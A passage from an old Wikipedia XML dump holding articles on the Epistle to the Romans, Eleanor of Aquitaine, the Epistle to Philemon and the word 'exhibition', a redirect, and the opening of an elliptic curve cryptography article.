* Milton Abramowitz and Irene A. Stegun, ''[[Handbook of Mathematical Functions]]'', (1964) Dover Publications, New York. ISBN 486-61272-4 .  ''(See chapter 17)''.

[[Category:Special functions]]
[[Category:Elliptic functions]]
[[Category:Special hypergeometric functions]]

[[fr:Intégrale elliptique]]
[[pl:Ca&amp;#322;ki eliptyczne]]
[[de:Elliptisches Integral]]
[[it:Integral ellittico]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle to the Romans</title>
    <id>9961</id>
    <revision>
      <id>41718714</id>
      <timestamp>2006-03-01T07:08:17Z</timestamp>
      <contributor>
        <ip>69.168.120.63</ip>
      </contributor>
      <comment>/* Protestant treatment of the text */</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle to the [[Ancient Rome|Roman]]s''' is one of the [[epistle]]s, or letters, included in the [[New Testament]] canon of the [[Christianity|Christian]] [[Bible]].  When it is clear that the Bible is being discussed, it is often referred to as simply &quot;Romans&quot;. Romans is one of the seven currently (as of 2004) undisputed letters of [[Paul of Tarsus|Paul]] and even among the four letters accepted as authentically his (in German scholarship, the ''Hauptbriefe'') by [[Ferdinand Christian Baur|F. C. Baur]] and the  [[Tübingen School]] of historical criticism of texts in the 19th century.

==History==
[[Image:Codex claromontanus greek.jpg|left|thumb|Romans 7.4&amp;ndash;7 from the [[Greek language|Greek]] text of the [[Codex Claromontanus]].]]
It was probably written at [[Corinth]] or possibly in nearby Cenchrea.  Phoebe (16:1) of Cenchrea, the Aegean port of Corinth, conveyed it to [[Rome]], and Gaius of Corinth entertained the [[Twelve Apostles#Other apostles|Apostle]] [[Paul of Tarsus|Paul]] at the time of his writing it (16:23; [[1 Corinthians|1 Cor]] 1:14), and Erastus was chamberlain of the city, that is, of Corinth ([[2 Timothy|2 Tim]] 4:20).

The precise time at which it was written is not mentioned in the epistle, but it was obviously written when the collection for Jerusalem had been assembled and Paul was about to &quot;go unto Jerusalem to minister unto the saints&quot;, that is,
at the close of his second visit to [[Greece]], during the winter preceding his last visit to that city (Rom 15:25; cf. [[Acts]] 19:21; 20:2, 3, 16; 1 Cor 16:1&amp;ndash;4) early in AD 58.

Probably, [[Christianity]] was planted in Rome by some of those who had been at [[Jerusalem]] on the day of [[Pentecost]] (Acts 2:10). At this time the [[Jew]]s were very numerous in Rome, and their [[synagogue]]s were probably resorted to by Romans also, who in this way became acquainted with the story of [[Jesus]] as reported among the Jews. Thus a church composed of both Jews and [[Gentile]]s was formed at Rome. Many of the brethren went out to meet Paul on his approach to Rome. There are evidences that Christians were then in Rome in considerable numbers, and had probably more than one place of meeting (Rom 16:14, 15). 

Many arguments found in Romans have been articulated in earlier letters, particularly Galatians and the letters to the church at Corinth.

==Purposes of writing==
The purposes of the apostle in writing were fourfold and are articulated in the second half of chapter 15. 
# Paul asks for prayers in his coming journey to Jerusalem and that the offering collected from the Gentile churches would be accepted there.  
# Paul is planning to come to Rome from Jerusalem and spend some time there before moving on to Spain. He hopes the Roman church will support his mission to Spain. 
#In that Paul has never been to Rome, he writes the letter to outline his gospel so that his teaching will not be confused by that of &quot;false teachers&quot;. 
# Paul is aware that there is some conflict between Gentile and Jewish Christians in the Roman church, and he writes to address those concerns (chapters thirteen and the first half of fourteen). While the Roman church was founded by Jewish Christians, the exile of Jews from Rome in AD 49 by Claudius resulted in Gentile Christians taking leadership positions. Upon the return of Jewish Christians after Claudius's death in AD 54, tensions resulted over the keeping of Jewish food laws and observance of Jewish holy days.

==Content==
The main theme of the letter is the gospel of Jesus Christ (1:16&amp;ndash;17). Paul argues that all humanity is guilty and accountable to God for [[sin]] and that it is only through the death and resurrection of Jesus Christ that humanity can attain salvation. God is therefore both just and the one who justifies. In response to God's free, sovereign and graceful action of salvation, we can be justified by faith. Paul uses the example of Abraham to demonstrate that it is by faith not works that mankind can be seen as righteous before God.

===[[Assurance (theology)|Assurance of salvation]]===
In chapters five through eight, Paul argues that believers can be [[Assurance|assured]] of their [[hope]] in [[salvation]], that believers have been freed from the bondage of sin and the dominion and bondage of the [[Law]].  Paul states that, through [[baptism]], the faithful have been joined with Jesus and freed from sin.  Believers can celebrate in that assurance of salvation.  In chapters nine through eleven, Paul addresses the faithfulness of [[God]] to [[Israel]], wherein he says that God has been faithful to His promise but &quot;not all who are descended from Israel are Israel&quot;.  Paul argues of God's freedom to choose who He will or will not save, but also concludes the section by saying that after a full measure of Gentiles have been saved, all Israel will be saved.

===The gospel transforms believers===
In chapter twelve through the first part of chapter fifteen, Paul outlines how the gospel transforms believers and the behaviour that results from such a transformation.  In this section of the letter, Paul addresses the tension between those who wish to observe Jewish traditions and those who do not. The concluding verses contain a description of his travel plans and personal greetings salutations.  One-third of the twenty-one Christians identified in the greetings are women, an indication that women played an important role in the early church at Rome. 
==General Characterisation==
Paul sometimes uses a style of writing common in his time called a &quot;diatribe&quot;. He appears to be responding to a &quot;heckler&quot;, and the letter is structured as a series of arguments. The letter is addressed to the church at Rome which consisted of both Gentile and Jewish Christians. In the flow of the letter, Paul shifts his arguments, sometimes addressing the Jewish members of the church, sometimes the Gentile membership, and sometimes the church as a whole.

== Protestant treatment of the text ==
Paul's letter to Rome is a rich, textured articulation of the gospel from which many of the doctrines of the church have made their foundation.

[[Martin Luther]] described Romans as  &quot;the chief book of the New Testament . . .  it deserves to be known by heart, word for word, by every Christian.&quot;

The &quot;Romans Road&quot; refers to a set of scriptures from the book of Romans that Christian evangelists use to present a clear and simple case for personal salvation for each person. They are:

Romans 3:23
&quot;For all have sinned and fall short of the glory of God.&quot; 

Romans 6:23a
&quot;The wages of sin is death.&quot; 

Romans 6:23b
&quot;But the gift of God is eternal life through Jesus Christ our Lord.&quot; 

Romans 5:8
&quot;God demonstrates His own love for us, in that while we were yet sinners Christ died for us!&quot; 

Romans 10:9, 10
&quot;If you confess with your mouth Jesus as Lord, and believe in your heart that God raised Jesus from the dead, you shall be saved; for with the heart man believes, resulting in righteousness, and with the mouth he confesses, resulting in salvation.&quot; 

Romans 10:13
&quot;Whoever will call on the name of the Lord will be saved!&quot;

The Book of Romans has been at the forefront of several major movements in Protestantism.  Martin Luther's lectures on Romans in 1515-16 were probably the crucial moment in which he developed his criticism of Catholicism which led to the 95 Theses of 1517, signalling the start of the Protestant Reformation.  In 1738, while reading Luther's Preface to the Epistle to the Romans, John Wesley famously felt his heart &quot;strangely warmed&quot;, a conversion experience which is often seen as the beginning of Methodism.  In 1919, [[Karl Barth]]'s commentary on Romans was the publication which is widely seen as the beginning of neo-orthodoxy.

== Catholic treatment of the text ==
Catholics accept the necessity of faith for salvation, but point to Rom 2:5&amp;ndash;11 for the necessity of living a virtuous life as well:

&quot;God . . . will repay everyone according to his works:  eternal life to those who seek glory, honor, and immortality through perseverance in good works, but wrath and fury to those who selfishly disobey the truth and obey wickedness.  Yes, affliction and distress will come upon every human being who does evil, Jew first and then Greek.  But there will be glory, honor, and peace for everyone who does good, Jew first and then Greek.  There is no partiality with God.&quot;

==External links==
Online translations of [[Epistle to the Romans]]:
*{{biblegateway||Romans}}
*[http://www.earlychristianwritings.com/romans.html Early Christian Writings]: ''Epistle to the Romans''

Related articles:
*[http://www.romansroad.com/id49.htm The &quot;Roman road&quot;]

* [http://wesley.nnu.edu/wesleyan_theology/theojrnl/16-20/16-04.htm A Wesleyan Interpretation of Romans 5-8] by Jerry McCant

*[http://www.newadvent.org/cathen/13156a.htm Catholic Encyclopedia]
*[http://www.plymouthbrethren.org/passage.asp Romans from the Biblical Resource Database]
*[[Primacy of Simon Peter]]
----
{{eastons}}

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[Acts of the Apostles|Acts]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[First Epistle to the Corinthians|1 Corinthians]]
|}
&lt;/center&gt;



[[category:New Testament books|Romans]]
[[Category:Ancient Roman Christianity]]

[[de:Brief des Paulus an die Römer]]
[[es:Epístola a los Romanos]]
[[fr:Épître aux Romains]]
[[ko:로마인들에게 보낸 편지]]
[[id:Surat Paulus kepada Jemaat di Roma]]
[[ia:Epistola al Romanos]]
[[hu:Pál levele a rómaiakhoz]]
[[nl:Brief van Paulus aan de Romeinen]]
[[nds:Römerbreef]]
[[ja:ローマ人への手紙]]
[[pl:List do Rzymian]]
[[pt:Epístola aos Romanos]]
[[ru:Послание к Римлянам]]
[[scn:Littra a li Rumani]]
[[fi:Kirje roomalaisille]]
[[sv:Romarbrevet]]
[[zh:羅馬書]]
[[no:Paulus' brev til romerne]]</text>
    </revision>
  </page>
  <page>
    <title>Eleanor of Aquitaine</title>
    <id>9962</id>
    <revision>
      <id>41949684</id>
      <timestamp>2006-03-02T20:56:34Z</timestamp>
      <contributor>
        <username>Bletch</username>
        <id>93062</id>
      </contributor>
      <minor />
      <comment>spacing</comment>
      <text xml:space="preserve">[[Image:Eleanor.jpg|right|frame|Eleanor of Aquitaine]]

'''Eleanor of Aquitaine''' ([[Bordeaux]], [[France]], c. [[1124]] &amp;ndash; [[March 31]], [[1204]] in [[Fontevrault]], [[Anjou]]) was one of the wealthiest and most powerful women in Europe during the [[Middle Ages]]. She was [[Queen consort]] of both [[France]] and [[England]].  She is well known for her involvement in the [[Second Crusade]].

== Biography ==
=== Early Life ===
The oldest of three children, her father was [[William X of Aquitaine|William X]], [[Duke of Aquitaine]], and her mother was [[Aenor de Châtellerault]], the daughter of Aimeric I, Vicomte of [[Chatellerault]]. William's and Ænor's marriage had been arranged by his father, [[William IX of Aquitaine]] the [[Troubador]], and her mother, Dangereuse, William IX's long-time mistress. Eleanor was named after her mother and called ''Aliénor'', which means ''other Aenor'' in the ''langue d'oc'' ([[Occitan language]]), but it became ''Eléanor'' in the northern ''[[Oil language]]'' . 

She was raised in one of Europe's most cultured courts, the birthplace of [[courtly love]].  She was highly educated for a woman of the time, and knew how to read, how to speak [[Latin]], was well versed in music and literature, and enjoyed riding, hawking, and hunting.  She was regarded as one of the most beautiful women of her time; most likely she was blonde and blue-eyed as that was the standard of beauty of the day.  She became heiress to [[Aquitaine]], the largest and richest of the provinces that would become modern [[France]], when her brother, William Aigret, died as a baby.  She had only one other sibling, a younger sister named Petronilla.

=== Marriage to Louis VII of France ===
William X died on [[Good Friday]], [[1137]] while on a pilgrimage to [[Spain]]. Eleanor, about the age of 15, became the Duchess of Aquitaine, and thus the most eligible heiress in Europe. As these were the days when kidnapping an heiress was seen as a viable option for attaining title, William wrote a [[will (law)|will]] on the very day he died, instructing that she marry [[Louis VII of France]]. The marriage, on [[July 22]], [[1137]], brought to France the area from the river [[Loire]] to the [[Pyrenees]]: most of what is today the southwest of France. However, there was a catch: the land would remain independent of France, and Eleanor's oldest son would be both King of France and [[Dukes of Aquitaine family tree|Duke of Aquitaine]]. Thus, her holdings would not be merged with France until the next generation. She gave Louis a wedding present that is still in existence, a [[rock crystal vase]] on display at the [[Louvre]].

Something of a free spirit, Eleanor was not popular with the staid northerners (particularly, according to sources, Louis's mother, [[Adélaide de Maurienne]]), who thought her flighty and a bad influence. Her conduct was repeatedly criticized by Church elders (particularly [[Bernard of Clairvaux]] and [[Abbot Suger]]) as indecorous. The King, however, was madly in love with his beautiful and worldly bride, and granted her every whim, even though her behavior baffled and vexed him to no end.

=== Crusade ===
Though Louis was a pious man he soon came into violent conflict with Pope Innocent II.  The archbishopric of Bourges became vacant, and the king supported as candidate the chancellor Cadurc, against the pope's nominee Pierre de la Chatre, swearing upon relics that so long as he lived Pierre should never enter Bourges. This brought the [[Interdict (Roman Catholic Church)|interdict]] upon the king's lands.

Louis became involved in a war with [[Theobald II of Champagne]], by permitting [[Raoul I of Vermandois]] and seneschal of France, to repudiate his wife, Theobald's niece, and to marry [[Petronilla of Aquitaine]], Eleanor's sister.  Eleanor urged Louis to support her sister's illegitimate marriage to Raoul of Vermandois.  Champagne also sided with the pope in the dispute over Bourges. The war lasted two years (1142&amp;ndash;44) and ended with the occupation of Champagne by the royal army. Louis was personally involved in the assault and burning of the town of [[Vitry]].  More than a thousand people who had sought refuge in the church died in the flames. Overcome with guilt, Louis declared on Christmas Day 1145 at Bourges his intention of going on a crusade. 

On [[Easter]] [[1146]] both Eleanor and Louis took up the cross during a sermon preached by [[Bernard of Clairvaux]].  She was followed by some of her royal ladies in waiting as well as 300 non-noble vassals.  She insisted on taking part in the [[Crusades]] as the feudal leader of the soldiers from her duchy.  The story that she and her ladies dressed as [[Amazons]] is disputed by serious historians. However, her testimonial launch of the [[Second Crusade]] from [[Vézelay]], the rumored location of [[Mary Magdalene]]'s burial, dramatically emphasized the role of women in the campaign.

The Crusade itself was something of a [[disaster]].  Louis was a weak and ineffectual military leader with no concept of maintaining troop discipline or morale, or of making informed and logical tactical decisions.  The French army was betrayed by [[Manuel I Comnenus]], [[Byzantine Emperor]], who feared that their aims would jeopardize the tenuous safety of his empire. A particularly poor decision to camp one night in a lush valley surrounded by tall peaks in hostile territory led to an attack by the Turks, who  slaughtered as many as 7000 Crusaders.  As this decision was made by Eleanor's vassal, [[Geoffrey of Anjou|Geoffrey the Fair, Count of Anjou]] (with whom it was rumored that she had an affair), many believed that it was her directive. This did nothing for her popularity in [[Christendom]].  Eleanor's reputation was further sullied by her supposed affair with her uncle [[Raymond of Poitiers]], [[Prince of Antioch]].

=== Divorce from Louis ===
Even before the Crusade, Eleanor and Louis were becoming estranged.  The city of Antioch had been annexed by Bohemond of Hauteville in the First Crusade, and it was now ruled by her flamboyant uncle, [[Raymond of Poitiers | Raymond of Antioch]] (rumored to be her lover), who had gained the principality by marrying its reigning Princess, [[Constance of Antioch]]. Clearly, Eleanor supported his desire to re-capture the nearby [[County of Edessa]], the cause of the Crusade. Louis was directed by the Church to visit [[Jerusalem]] instead. When Eleanor declared her intention to stand with Raymond and the Aquitaine forces, Louis had her brought out by force. His long march to Jerusalem and back north debilitated his army, but her imprisonment disheartened her knights, and the divided Crusade armies could not overcome the Muslim forces. For reasons unknown, likely the Germans' insistence on conquest, the Crusade leaders targeted [[Damascus]], an ally until the attack. Failing in this attempt, they retired to Jerusalem, and then home.

When they passed through [[Rome]] on the way to Paris, [[Pope Eugene III]] tried to reconcile Eleanor and Louis. Eleanor conceived their second daughter, [[Alix of France]] (their first was [[Marie de Champagne|Marie]]), but there was no saving the marriage. In [[1152]]; it was annulled on the grounds of [[consanguinity]]. Her estates reverted to her and were no longer part of the French royal properties.

However, while in the eastern Mediterranean Eleanor learned about maritime conventions developing there: the beginnings of what would become [[Admiralty law|admiralty law]]. She introduced those conventions in her own lands, for instance on the island of [[Oleron]] in [[1160]], and later into England as well. She was also instrumental in developing trade agreements with Constantinople and ports of trade in the Holy Lands.

=== Marriage to Henry II of England ===
On [[May 18]], [[1152]], six weeks after her annullment, Eleanor married [[Henry II of England|Henry Plantagenet, Count of Anjou and Duke of Normandy]].  She was about 11 years older than he, and related to him in the same degree as she had been to Louis. One of Eleanor's rumored lovers was Henry's own father, [[Geoffrey of Anjou]], who, not surprisingly, advised him not to get involved with her. Over the next 13 years, she bore Henry five sons and three daughters: [[William, Count of Poitiers|William]], [[Henry the Young King|Henry]], [[Richard I of England|Richard]], [[Geoffrey, Duke of Brittany|Geoffrey]], [[John I of England|John]], [[Matilda of England|Matilda]], [[Leonora of Aquitaine|Eleanor]], and [[Joan of England|Joan]].

Despite her reputation in later historical accounts, Eleanor was incensed by Henry's philandering; their son, William, and Henry's illegitimate son, Geoffrey, were born months apart. Henry fathered other illegitimate children throughout most of their marriage.

Some time between [[1168]] and [[1170]], she instigated a separation, deciding to establish a new court in her own territory of [[Poitou]]. In Poitiers, she reached the height of her powers creating the Court of Love. A small fragment of her codes and practices was written by [[Andreas Capellanus]].

Henry concentrated on controlling his increasingly-large empire, badgering Eleanor's subjects in attempts to control her [[patrimony]] of Aquitaine and her court at [[Poitiers]]. Straining all bounds of civility, Henry had Archbishop [[Thomas Becket]] murdered at the altar of the church in [[1170]] (though there is considerable debate as to whether it was truly Henry's intent to be permanently rid of his archbishop). This aroused not only Eleanor's horror and contempt, but most of Europe's.

=== Revolt and Imprisonment ===
In [[1173]], aggrieved at his lack of power and egged on by his father's enemies, the younger Henry launched the [[Revolt of 1173-1174]], joined by Richard and Geoffrey, and supported by several powerful English barons, as well as Louis VII and [[William I of Scotland]]. When Eleanor tried to join them, she was intercepted. Henry, who put down the rebellion, imprisoned her for the next 15 years, much of the time in various locations in England. During her imprisonment, Eleanor had become more and more distant with her sons, especially Richard (who had always been her favorite). She did not get the chance to see her sons very often during her imprisonment, though she was released for special occasions such as Christmas. About four miles from Shrewsbury and close by Haughmond Abbey is &quot;Queen Eleanor's Bower,&quot; the remains of a triangular castle which is believed to have been one of her prisons. 

Henry lost his great love, [[Rosamund Clifford]], in 1176.  He had met her in 1166 and begun the liaison in 1173, supposedly contemplating divorce from Eleanor.  When Rosamund died, rumours spread that Eleanor had poisoned her, but there is no evidence to support this.

[[image:aliaenor.JPG|thumb|left|Eleanor's tomb: she is depicted in her pious old age]]

In [[1183]], Henry the Young tried again. In debt and refused control of [[Normandy]], he tried to ambush his father at [[Limoges]]. He was joined by troops sent by his brother Geoffrey and [[Philip II of France]]. Henry's troops besieged the town, forcing his son to flee. Henry the Young wandered aimlessly through Aquitaine until he caught [[dysentery]] and died. The rebellion petered out.

== Later Life ==

Upon Henry's death in [[1189]], Eleanor helped her son [[Richard I of England | Richard I]] to the throne, and he released her from prison.  She ruled [[England]] as regent while Richard went off on the Third Crusade. She personally negotiated his ransom by going to Germany.  She survived him and lived long enough to see her youngest son [[John of England | John]] on the throne.

Eleanor died in [[1204]] and was entombed in [[Fontevraud Abbey]] near her husband Henry and son Richard.  Her tomb [[effigy]] shows her reading a [[Bible]].  She was the patroness of such literary figures as [[Wace]], [[Benoît de Sainte-More]], and [[Chrétien de Troyes]].

==In historical fiction==

Eleanor and Henry are the main characters in the play ''[[The Lion in Winter]]'', by [[James Goldman]], which was made into a film starring [[Peter O'Toole]] and [[Katharine Hepburn]], and remade for television in 2003 with [[Patrick Stewart]] and [[Glenn Close]]. The depiction of her in the play and film ''[[Becket]]'' contains historical inaccuracies, as acknowledged by the author, [[Jean Anouilh]]. 

Eleanor appears briefly in the BBC production of ''[[Ivanhoe]]'' portrayed by [[Sian Phillips]]. She is also a major character in [[Thomas B. Costain]]'s ''Below the Salt'', and the subject of [[E. L. Konigsburg]]'s children's book ''A Proud Taste for Scarlet and Miniver''. Her life is chronicled in three books by [[Sharon Kay Penman]] ''When Christ and His Saints Slept'', ''Time and Chance'', and ''The Devil's Brood''. The novel ''The Book of Eleanor'' by Pamela Kaufman tells the story of Eleanor's life from her own point of view. &quot;Queen Elinor&quot; appears in [[William Shakespeare]]'s ''[[King John]]'', along with other members of the family.

==Biographies==
* ''Eleanor of Aquitaine: Lord and Lady'', John Carmi Parsons &amp; Bonnie Wheeler, 2002
* ''Queen Eleanor: Independent Spirit of the Medieval World'', Polly Schover Brooks (©1983) (for young readers)
* ''Eleanor of Aquitaine: A Biography'', Marion Meade (©1977)
* ''Eleanor of Aquitaine and the Four Kings'', Amy Kelly (©1950)
* ''Eleanor of Aquitaine: The Mother Queen'', Desmond Seward (©1978)
* ''Eleanor of Aquitaine: A Life'', [[Alison Weir]] (©1999)
* ''Women of the Twelfth Century, Volume 1 : Eleanor of Aquitaine and Six Others'', [[Georges Duby]]

{{start box}}
{{succession box one to two|before=[[William X of Aquitaine|William X]]|title1=[[Duke of Aquitaine|Duchess of Aquitaine]]&lt;br /&gt;''with [[Louis VII of France|Louis]] and [[Henry II of England|Henry I]]''|years1=1137&amp;ndash;1168|title2=[[Count of Poitiers|Countess of Poitiers]]&lt;br /&gt;''with [[Louis VII of France|Louis]] and [[Henry II of England|Henry I]]''|years2=1137&amp;ndash;1153|after1=[[Richard I of England|Richard I]]|after2=[[William, Count of Poitiers|William]]}}
{{end box}}

[[Category:1122 births]]
[[Category:1204 deaths]]
[[Category:Women in war]]
[[Category:English queen consorts]]
[[Category:French nobility|Aquitaine, Eleanor, duchesse d']]
[[Category:Crusades]]
[[Category:House of Anjou]]

[[cs:Eleonora Akvitánská]]
[[cy:Eleanor o Aquitaine]]
[[de:Eleonore von Aquitanien]]
[[es:Leonor de Aquitania]]
[[fr:Aliénor d'Aquitaine]]
[[it:Eleonora d'Aquitania]]
[[he:אלינור מאקוויטניה]]
[[nl:Eleonora van Aquitanië]]
[[pl:Eleonora Akwitańska]]
[[pt:Leonor, Duquesa da Aquitânia]]
[[ru:Элеонора Аквитанская]]
[[simple:Eleanor of Aquitaine]]
[[fi:Eleonoora Akvitanialainen]]
[[sv:Eleonora av Akvitanien]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle to Philemon</title>
    <id>9963</id>
    <revision>
      <id>40595906</id>
      <timestamp>2006-02-21T18:39:52Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: Philemon</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle to Philemon''' is a book of the [[Bible]] in the [[New Testament]].  

Philemon is now generally regarded as one of the undisputed works of [[Paul of Tarsus|Paul]], although it was questioned in the past by [[Ferdinand Christian Baur|F.C. Baur]]. It is the shortest of Paul's extant letters, consisting of only 25 verses.

==The letter and its reconstruction==

Paul, who is apparently in prison (probably in either [[Rome]] or [[Ephesus]]), writes to a fellow-Christian [[Epistle to Philemon|Philemon]] and two of his associates.  (If the letter to the [[Colossians]] is authentic, then Philemon must live in [[Colossae]].) Paul writes on behalf of Philemon's slave, one  [[Onesimus]] (whose name means 'useful'). Beyond that, it is not self-evident as to what has transpired. Onesimus is described as having been 'separated' from his master, once having been 'useless' to him (a pun), and having done him wrong.

The dominant scholarly consensus is that Onesimus is a run-away slave: a ''fugitivus'', who has encountered Paul and become a Christian believer. Paul now (apparently) sends him back to face his aggrieved master, and strives in his letter to effect reconciliation between these two Christians. 

What is more contentious is how Onesimus came to be with Paul. Various suggestions have been given: 1) Onesimus being imprisoned with Paul; 2) Onesimus being brought to Paul by others. 3) Onesimus deliberately seeking Paul out, as a friend of his master's, in order to be reconciled. 

Paul's letter is cryptic. He tactfully addresses Philemon (Luther spoke of 'Holy flattery'), speaking of Philemon's Christian compassion, but at the same time Paul subtly reminds Philemon of his authority over him, and the (spiritual) debt Philemon owes to him. He also points out that Onesimus's conversion has brought about a new state of affairs. And so Onesimus is returned &quot;no longer as a slave but more than a slave, a beloved brother&quot; (vs. 16).

It is less than clear what that critical phrase means, and what Paul wants Philemon to do. Is Onesimus simply to be forgiven, or freed (given ''[[manumission]]'')? Is Onesimus now Philemon's 'brother' as well as his 'slave', or does his position of 'brother' supplant that of 'slave'. The letter is unclear and scholars are divided. But this interpretation is important for an understanding of the social impact of Paul's gospel.

There is no way of knowing what happened to Onesimus after the letter. [[Ignatius of Antioch]] mentions an Onesimus as Bishop of [[Ephesus]] in the early second century. But Onesimus was not an uncommon slave name, so to identify the bishop with Philemon's slave is entirely speculative.

==Significance==

Philemon has been of only marginal interest in Christian theology and ethics. The German Protestant theologian and reformer [[Martin Luther]] saw a parallel between Paul and Christ in their work of [[reconciliation]]. However, Luther insisted that the letter upheld the social-status quo: Paul did nothing to change Onesimus' legal position as a slave - and he complied with the law in returning him.  

The letter was a cause of debate during the British and later American struggles over the [[Abolitionism|abolition]] of [[slavery]]. Both sides cited interpretations of Philemon for support. Modern scholarship has tended to assume that either Paul did undermine slavery in this letter, or that he would have, had circumstances permitted.

==Bibliography==
* J.M.G. Barclay, ''Colossians and Philemon'', Sheffield Academic Press 1997 (ISBN 1850758182)
* [[N.T. Wright]], ''Colossians and Philemon'', Tyndale IVP 1986 (ISBN 0802803091)

==External links==
Online translations of the [[Epistle to Philemon]]:
* {{biblegateway||Philemon}}


----
{{eastons}}

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to Titus|Titus]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Hebrews|Hebrews]]
|}
&lt;/center&gt;

[[Category:New Testament books|Philemon]]
[[Category:Ancient Roman Christianity]]

[[de:Brief des Paulus an Philemon]]
[[fr:Épître à Philémon]]
[[ko:필레몬에게 보낸 편지]]
[[id:Surat Paulus kepada Filemon]]
[[jv:Filemon]]
[[nl:Brief van Paulus aan Filemon]]
[[ja:ピレモンへの手紙]]
[[pl:List do Filemona]]
[[pt:Epístola a Filemon]]
[[fi:Kirje Filemonille]]
[[sv:Filemonbrevet]]
[[zh:腓利門書]]</text>
    </revision>
  </page>
  <page>
    <title>Exhibition</title>
    <id>9964</id>
    <revision>
      <id>40629937</id>
      <timestamp>2006-02-21T23:07:06Z</timestamp>
      <contributor>
        <ip>69.106.252.32</ip>
      </contributor>
      <comment>Changed &quot;Sport&quot; to &quot;Equistrian&quot; to avoid ambiguities.  There are plenty on non-equistrian sports that have exhibition events.  And some sports, like ice skating, the performance is an exhibition.</comment>
      <text xml:space="preserve">{{disambig}}
'''Exhibition''' is a word with several meanings.

==Display==

An '''exhibition''' is a display of items. This can be an art exhibition, computer exposition or an industrial exhibition like a [[World's Fair]]. A more recent word for this is [[expo]]. 

===Kinds of exhibition===

*[[art exhibition]] &amp;mdash; see category [[:category:Art exhibitions|art exhibitions]]
*[[computer expo]] &amp;mdash; see category [[:category:Computer-related events and awards|computer-related events and awards]]
*[[Exhibition (film)|film exhibition]]
*[[marketing]] 
*[[museum]]s have limited engagement displays, called exhibitions; &amp;mdash; see [[:Category:Museums|Museums]]
*[[science fair]]
*[[state fair]]
*[[trade fair]] &amp;mdash; see category [[:category:trade shows|trade shows]]
*[[world exhibition]] &amp;mdash; see category [[:category:World's Fairs|World's Fairs]]
*[[traveling exhibit]]s &amp;mdash; see category [[:category:traveling exhibits|traveling exhibits]]

==Equistrian==

'''Exhibition''' is a sport involving horse and riders. Rather than being exhibition sports, these equestrian events are more usually considered as competitive events. There are a range of competitive equestrian events, but the so-called &quot;English&quot; events are dressage, showjumping (and hunter jumpers in the US), the three-day event (or horse trials), and showing (pleasure horse events, where the event is judged on presentation, equitation, and rideablity of the horse). Showjumping, eventing and dressage are the Olympic events, because they are the equestrian sports included in the Olympic Games.  The Western competition events include the working cattle events, cutting and [[Campdrafting|campdrafting]] (an Australian sport), [[barrel racing|barrel-racing]] and reining (sometimes called the Western version of dressage), amongst others. The trail events are endurance riding, and the judged trail events.

==Grant to a student==

At the universities of [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]], an '''exhibition''' is a financial award or grant to an individual student (an &quot;[[exhibitioner]]&quot;), normally on grounds of merit.  The amount is less than a [[scholarship]].

==Exhibition game==

An [[exhibition game]] is a sports game played without competitive implications.

==See also==
*[[exhibitionism]]
*[[Exhibition hall|Convention center]]

==External links==
*[http://www.ibiblio.org/expo/1492.exhibit/Intro.html 1492 Exhibit]
*[http://exhibits.aculture.info Digital Photography Exhibit]


[[Category:Exhibitions|*]]

[[de:Ausstellung]]
[[he:תערוכה]]
[[nl:Tentoonstelling]]</text>
    </revision>
  </page>
  <page>
    <title>Embedded systems</title>
    <id>9965</id>
    <revision>
      <id>15907814</id>
      <timestamp>2002-03-29T16:39:35Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>singular =&amp;gt; Embedded system</comment>
      <text xml:space="preserve">#REDIRECT [[Embedded system]]</text>
    </revision>
  </page>
  <page>
    <title>Elliptic curve cryptography</title>
    <id>9966</id>
    <revision>
      <id>39379450</id>
      <timestamp>2006-02-12T20:00:10Z</timestamp>
      <contributor>
        <username>Davidgothberg</username>
        <id>109101</id>
      </contributor>
      <comment>Added Template:Public-key cryptography</comment>
      <text xml:space="preserve">'''Elliptic curve cryptography (ECC)''' is an approach to [[public-key cryptography]] based on the [[mathematics]] of [[elliptic curve]]s over [[finite field]]s. The use of elliptic curves in cryptography was suggested independently by [[Neal Koblitz]] {{ref|koblitz}} and [[Victor S. Miller]] {{ref|miller}} in [[1985]].

Elliptic curves are also used in several [[integer factorization]] [[algorithm]]s that have applications in cryptography, such as, for instance, [[Lenstra elliptic curve factorization]], but this use of elliptic curves is ''not'' usually referred to as &quot;elliptic curve cryptography.&quot;

==Introduction==

[[Elliptic curve]]s used in cryptography are defined over two types of [[finite field]]s: fields of odd [[Characteristic_(algebra)#The case of fields|characteristic]] (&lt;math&gt;\mathbb{F}_p&lt;/math&gt;, where &lt;math&gt;p &gt; 3&lt;/math&gt; is a large prime number) and fields of characteristic two (&lt;math&gt;\mathbb{F}_{2^m}&lt;/math&gt;). When the distinction is not important we denote both of them as &lt;math&gt;\mathbb{F}_q&lt;/math&gt;, where &lt;math&gt;q=p&lt;/math&gt; or &lt;math&gt;q=2^m&lt;/math&gt;. In &lt;math&gt;\mathbb{F}_p&lt;/math&gt; the elements are [[integer]]s (&lt;math&gt;0 \le x &lt; p&lt;/math&gt;) which are combined using [[modular arithmetic]]. The case of &lt;math&gt;\mathbb{F}_{2^m}&lt;/math&gt; is slightly more complicated (see [[finite field arithmetic]] for details): there are several possible representations of the field elements as bitstrings and thus an irreducible binary polynomial &lt;math&gt;f(x)&lt;/math&gt; of degree &lt;math&gt;m&lt;/math&gt; shall be specified.

